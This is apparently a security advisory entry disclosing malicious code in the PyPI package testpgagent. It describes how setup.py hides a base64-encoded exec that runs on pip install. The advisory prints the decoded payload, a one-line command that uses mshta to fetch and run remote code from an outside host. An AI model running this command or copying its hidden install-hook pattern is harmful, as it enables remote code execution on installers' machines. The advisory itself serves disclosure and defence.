MAL-2026-5824

Summary: Malicious code in testpgagent (PyPI)

Details: Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f) On `pip install`, setup.py line 19 calls `exec(base64.b64decode(...))` whose decoded body is `import os; os.system('cmd /c "mshta http://fixars.top"')`. This launches Windows `mshta.exe` against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running `pip install TestPGAgent==0.2` will execute remote code chosen by whoever controls fixars.top at the moment of install.
